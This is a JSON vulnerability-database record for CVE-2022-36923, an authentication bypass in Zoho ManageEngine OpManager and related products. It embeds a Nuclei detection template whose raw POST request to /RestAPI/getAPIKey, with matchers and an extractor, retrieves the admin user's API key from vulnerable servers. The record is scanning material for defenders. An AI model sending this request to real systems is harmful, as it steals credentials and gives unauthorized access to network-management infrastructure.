{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-36923/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-36923/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-36923/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-36923/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-36923/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-36923"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-36923"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-36923.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2022-36923\n\ninfo:\n  name: Zoho ManageEngine - getUserAPIKey Authentication Bypass\n  author: daffainfo,jjcho\n  severity: high\n  description: |\n    Zoho ManageEngine OpManager, OpManager Plus, OpManager MSP, Network Configuration Manager, NetFlow Analyzer, Firewall Analyzer, and OpUtils before 2022-07-27 through 2022-07-28 (125657, 126002, 126104, and 126118) allow unauthenticated attackers to obtain a user's API key, and then access external APIs.\n  impact: |\n    Attackers can obtain API keys and access external APIs, leading to potential data theft or unauthorized actions.\n  remediation: |\n    Apply the security patches released after 2022-07-28 or update to the latest version.\n  reference:\n    - https://www.manageengine.com/itom/advisory/cve-2022-36923.html\n    - https://y4er.com/posts/cve-2022-36923-manageengine-opmanager-getuserapikey-authentication-bypass/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-36923\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-36923\n    epss-score: 0.071\n    epss-percentile: 0.94002\n    cwe-id: CWE-755,CWE-284\n    cpe: cpe:2.3:a:zohocorp:manageengine_firewall_analyzer:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_netflow_analyzer:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_network_configuration_manager:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager_msp:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_opmanager_plus:*:*:*:*:*:*:*:*,cpe:2.3:a:zohocorp:manageengine_oputils:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zohocorp\n    product: manageengine_firewall_analyzer,manageengine_netflow_analyzer,manageengine_network_configuration_manager,manageengine_opmanager,manageengine_opmanager_msp,manageengine_opmanager_plus,manageengine_oputils\n  tags: cve,cve2022,zoho,manageengine,opmanager,oputils,auth-bypass,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /RestAPI/getAPIKey HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        operation=getUserAPIKey&username=admin&domainname=-&HANDSHAKE_KEY=pppppppppppppppppppppppppppppppppppp\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"len(body) == 34\"\n          - 'regex(\"[0-9a-f]+\", body)'\n          - \"status_code == 200\"\n          - \"contains(set_cookie, 'opmcsrfcookie=')\"\n        condition: and\n\n    extractors:\n      - type: regex\n        regex:\n          - '[0-9a-f]+'\n# digest: 4b0a00483046022100bdfc2582e023fc3f1546b1db42173714f390cdd9a3cbb50566804419c5e3303c022100f31b0deeede608559b935b88388653bec6136901b0748ff723a133667b8601fe:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-36923"
}